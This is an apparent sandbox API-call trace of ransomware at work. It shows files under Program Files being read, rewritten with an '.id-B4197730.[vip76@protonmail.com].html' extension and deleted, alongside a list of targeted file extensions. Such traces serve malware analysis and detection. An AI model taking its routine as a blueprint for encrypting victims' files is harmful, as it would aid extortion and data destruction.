	[0081.717] SetEndOfFile (hFile=0x358) returned 1
	[0081.717] CloseHandle (hObject=0x358) returned 1
	[0081.745] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.745] SetEndOfFile (hFile=0x380) returned 1
	[0081.746] CloseHandle (hObject=0x380) returned 1
	[0081.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0081.746] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1
	[0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.747] lstrlenW (lpString=".doc") returned 4
	[0081.747] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.747] lstrlenW (lpString=".docx") returned 5
	[0081.747] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0081.747] lstrlenW (lpString=".pdf") returned 4
	[0081.747] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.747] lstrlenW (lpString=".xls") returned 4
	[0081.747] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.747] lstrlenW (lpString=".xlsx") returned 5
	[0081.747] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0081.747] lstrlenW (lpString=".ppt") returned 4
	[0081.747] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.747] lstrlenW (lpString=".zip") returned 4
	[0081.747] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.747] lstrlenW (lpString=".rar") returned 4
	[0081.747] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.747] lstrlenW (lpString=".bz2") returned 4
	[0081.747] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.747] lstrlenW (lpString=".7z") returned 3
	[0081.747] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.747] lstrlenW (lpString=".dbf") returned 4
	[0081.748] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.748] lstrlenW (lpString=".1cd") returned 4
	[0081.748] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.748] lstrlenW (lpString=".jpg") returned 4
	[0081.748] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.748] lstrlenW (lpString=".doc") returned 4
	[0081.748] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0081.748] lstrlenW (lpString=".docx") returned 5
	[0081.748] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1
	[0081.748] lstrlenW (lpString=".pdf") returned 4
	[0081.748] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0081.748] lstrlenW (lpString=".xls") returned 4
	[0081.748] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0081.748] lstrlenW (lpString=".xlsx") returned 5
	[0081.748] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1
	[0081.748] lstrlenW (lpString=".ppt") returned 4
	[0081.748] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.748] lstrlenW (lpString=".zip") returned 4
	[0081.748] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0081.748] lstrlenW (lpString=".rar") returned 4
	[0081.748] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0081.748] lstrlenW (lpString=".bz2") returned 4
	[0081.748] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0081.748] lstrlenW (lpString=".7z") returned 3
	[0081.748] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0081.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.748] lstrlenW (lpString=".dbf") returned 4
	[0081.748] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.749] lstrlenW (lpString=".1cd") returned 4
	[0081.749] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0081.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78
	[0081.749] lstrlenW (lpString=".jpg") returned 4
	[0081.749] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0081.749] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0081.749] lstrlenW (lpString="vccorlib140.dll") returned 15
	[0081.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0081.749] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=390320) returned 1
	[0081.749] CloseHandle (hObject=0x380) returned 1
	[0081.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20
	[0081.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0081.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0081.750] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.750] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0081.750] GetLastError () returned 0x0
	[0081.750] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x5f4b0, lpOverlapped=0x0) returned 1
	[0082.040] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x5f4c0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x5f4c0, lpOverlapped=0x0) returned 1
	[0082.047] ReadFile (in: hFile=0x380, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.047] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf2, lpOverlapped=0x0) returned 1
	[0082.047] SetEndOfFile (hFile=0x358) returned 1
	[0082.047] CloseHandle (hObject=0x358) returned 1
	[0082.047] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.047] SetEndOfFile (hFile=0x380) returned 1
	[0082.052] CloseHandle (hObject=0x380) returned 1
	[0082.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0082.052] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 1
	[0082.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.052] lstrlenW (lpString=".doc") returned 4
	[0082.052] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0082.052] lstrlenW (lpString=".docx") returned 5
	[0082.052] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0082.052] lstrlenW (lpString=".pdf") returned 4
	[0082.053] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString=".xls") returned 4
	[0082.053] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString=".xlsx") returned 5
	[0082.053] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0082.053] lstrlenW (lpString=".ppt") returned 4
	[0082.053] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.053] lstrlenW (lpString=".zip") returned 4
	[0082.053] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString=".rar") returned 4
	[0082.053] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString=".bz2") returned 4
	[0082.053] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0082.053] lstrlenW (lpString=".7z") returned 3
	[0082.053] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0082.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.053] lstrlenW (lpString=".dbf") returned 4
	[0082.053] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0082.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.053] lstrlenW (lpString=".1cd") returned 4
	[0082.053] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0082.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.053] lstrlenW (lpString=".jpg") returned 4
	[0082.053] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.053] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.053] lstrlenW (lpString=".doc") returned 4
	[0082.053] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0082.053] lstrlenW (lpString=".docx") returned 5
	[0082.053] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0082.054] lstrlenW (lpString=".pdf") returned 4
	[0082.054] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0082.054] lstrlenW (lpString=".xls") returned 4
	[0082.054] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0082.054] lstrlenW (lpString=".xlsx") returned 5
	[0082.054] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0082.054] lstrlenW (lpString=".ppt") returned 4
	[0082.054] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0082.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.054] lstrlenW (lpString=".zip") returned 4
	[0082.054] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0082.054] lstrlenW (lpString=".rar") returned 4
	[0082.054] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0082.054] lstrlenW (lpString=".bz2") returned 4
	[0082.054] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0082.054] lstrlenW (lpString=".7z") returned 3
	[0082.054] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0082.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.054] lstrlenW (lpString=".dbf") returned 4
	[0082.054] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0082.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.054] lstrlenW (lpString=".1cd") returned 4
	[0082.054] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0082.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll") returned 73
	[0082.054] lstrlenW (lpString=".jpg") returned 4
	[0082.054] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0082.054] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.054] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0082.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.056] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10752) returned 1
	[0082.056] CloseHandle (hObject=0x380) returned 1
	[0082.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui")) returned 0x20
	[0082.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.056] lstrlenW (lpString=".doc") returned 4
	[0082.056] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.056] lstrlenW (lpString=".docx") returned 5
	[0082.056] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.056] lstrlenW (lpString=".pdf") returned 4
	[0082.056] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.056] lstrlenW (lpString=".xls") returned 4
	[0082.056] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.056] lstrlenW (lpString=".xlsx") returned 5
	[0082.056] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.056] lstrlenW (lpString=".ppt") returned 4
	[0082.056] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.056] lstrlenW (lpString=".zip") returned 4
	[0082.056] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.057] lstrlenW (lpString=".rar") returned 4
	[0082.057] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.057] lstrlenW (lpString=".bz2") returned 4
	[0082.057] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.057] lstrlenW (lpString=".7z") returned 3
	[0082.057] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.057] lstrlenW (lpString=".dbf") returned 4
	[0082.057] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.057] lstrlenW (lpString=".1cd") returned 4
	[0082.057] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.057] lstrlenW (lpString=".jpg") returned 4
	[0082.057] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.057] lstrlenW (lpString=".doc") returned 4
	[0082.057] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.057] lstrlenW (lpString=".docx") returned 5
	[0082.057] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.057] lstrlenW (lpString=".pdf") returned 4
	[0082.057] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.057] lstrlenW (lpString=".xls") returned 4
	[0082.057] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.057] lstrlenW (lpString=".xlsx") returned 5
	[0082.057] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.057] lstrlenW (lpString=".ppt") returned 4
	[0082.057] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.057] lstrlenW (lpString=".zip") returned 4
	[0082.057] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.058] lstrlenW (lpString=".rar") returned 4
	[0082.058] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.058] lstrlenW (lpString=".bz2") returned 4
	[0082.058] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.058] lstrlenW (lpString=".7z") returned 3
	[0082.058] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.058] lstrlenW (lpString=".dbf") returned 4
	[0082.058] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.058] lstrlenW (lpString=".1cd") returned 4
	[0082.058] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned 72
	[0082.058] lstrlenW (lpString=".jpg") returned 4
	[0082.058] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.058] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.058] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0082.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0082.059] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10752) returned 1
	[0082.059] CloseHandle (hObject=0x380) returned 1
	[0082.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) returned 0x20
	[0082.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0082.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0082.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.059] lstrlenW (lpString=".doc") returned 4
	[0082.059] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.059] lstrlenW (lpString=".docx") returned 5
	[0082.059] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.059] lstrlenW (lpString=".pdf") returned 4
	[0082.059] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.059] lstrlenW (lpString=".xls") returned 4
	[0082.059] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.059] lstrlenW (lpString=".xlsx") returned 5
	[0082.059] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.059] lstrlenW (lpString=".ppt") returned 4
	[0082.059] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.059] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.059] lstrlenW (lpString=".zip") returned 4
	[0082.059] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.059] lstrlenW (lpString=".rar") returned 4
	[0082.059] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.059] lstrlenW (lpString=".bz2") returned 4
	[0082.060] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.060] lstrlenW (lpString=".7z") returned 3
	[0082.060] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.060] lstrlenW (lpString=".dbf") returned 4
	[0082.060] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.060] lstrlenW (lpString=".1cd") returned 4
	[0082.060] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.060] lstrlenW (lpString=".jpg") returned 4
	[0082.060] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.060] lstrlenW (lpString=".doc") returned 4
	[0082.060] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0082.060] lstrlenW (lpString=".docx") returned 5
	[0082.060] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0082.060] lstrlenW (lpString=".pdf") returned 4
	[0082.060] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0082.060] lstrlenW (lpString=".xls") returned 4
	[0082.060] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0082.060] lstrlenW (lpString=".xlsx") returned 5
	[0082.060] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0082.060] lstrlenW (lpString=".ppt") returned 4
	[0082.060] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0082.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.060] lstrlenW (lpString=".zip") returned 4
	[0082.060] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0082.060] lstrlenW (lpString=".rar") returned 4
	[0082.060] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0082.061] lstrlenW (lpString=".bz2") returned 4
	[0082.061] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0082.061] lstrlenW (lpString=".7z") returned 3
	[0082.061] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.061] lstrlenW (lpString=".dbf") returned 4
	[0082.061] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.061] lstrlenW (lpString=".1cd") returned 4
	[0082.061] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0082.061] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned 72
	[0082.061] lstrlenW (lpString=".jpg") returned 4
	[0082.061] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0082.061] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0082.061] lstrlenW (lpString="tipresx.dll.mui") returned 15
